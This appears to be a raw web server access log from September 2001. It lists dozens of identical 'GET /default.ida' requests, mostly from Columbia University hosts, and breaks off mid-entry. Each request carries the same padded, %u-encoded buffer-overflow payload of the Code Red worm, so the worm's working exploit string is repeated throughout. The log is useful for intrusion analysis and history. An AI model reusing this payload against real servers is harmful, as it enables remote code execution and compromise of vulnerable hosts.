20010917 08:39:20: bus205-38.gsb.columbia.edu [128.59.205.38] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 08:40:55: bus205-38.gsb.columbia.edu [128.59.205.38] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 08:46:20: bus205-38.gsb.columbia.edu [128.59.205.38] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 09:26:54: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 10:09:32: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 11:04:11: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 11:23:42: [128.134.248.243] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 12:01:07: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 12:19:19: [203.199.84.137] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 12:21:14: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 12:27:39: bus84-172.gsb.columbia.edu [128.59.84.172] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 12:27:42: bus84-172.gsb.columbia.edu [128.59.84.172] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 12:28:03: bus84-172.gsb.columbia.edu [128.59.84.172] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 13:17:47: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 13:24:13: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 13:28:48: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 13:37:55: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 14:13:16: dialup-1-4.cc.columbia.edu [128.59.42.13] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 14:20:59: dialup-1-4.cc.columbia.edu [128.59.42.13] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 14:23:17: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 14:44:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 14:55:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 15:11:05: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 16:17:29: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 16:56:09: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 17:17:53: bus84-234.gsb.columbia.edu [128.59.84.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 17:28:32: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 18:15:28: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 18:18:37: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 18:38:50: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 19:00:20: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 19:39:54: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 20:21:24: bus84-234.gsb.columbia.edu [128.59.84.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 20:52:33: fr-cust-242.isdn.net.il [] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 20:55:29: bus84-234.gsb.columbia.edu [128.59.84.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 22:06:39: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 22:24:21: bus84-234.gsb.columbia.edu [128.59.84.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010917 22:43:30: 196-28-56-244.prtc.net [] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 00:40:33: [210.83.180.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010918 00:51:51: dialup-cc2-48.cc.columbia.edu [128.59.58.153] "" 20010918 01:47:16: [128.134.171.152] "GET 